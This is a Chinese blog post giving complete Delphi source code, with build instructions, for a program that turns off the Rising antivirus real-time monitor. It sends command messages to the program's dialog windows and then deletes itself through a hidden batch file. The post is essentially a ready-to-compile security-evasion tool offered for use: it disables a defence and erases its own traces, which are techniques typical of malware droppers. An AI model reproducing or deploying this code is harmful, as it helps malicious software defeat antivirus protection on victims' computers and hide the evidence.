DELPHI关闭瑞星监控的源代码

program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;


procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。
程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。

posted on 2015-07-13 15:05  疯狂delphi  阅读(225)  评论(0编辑  收藏  举报

导航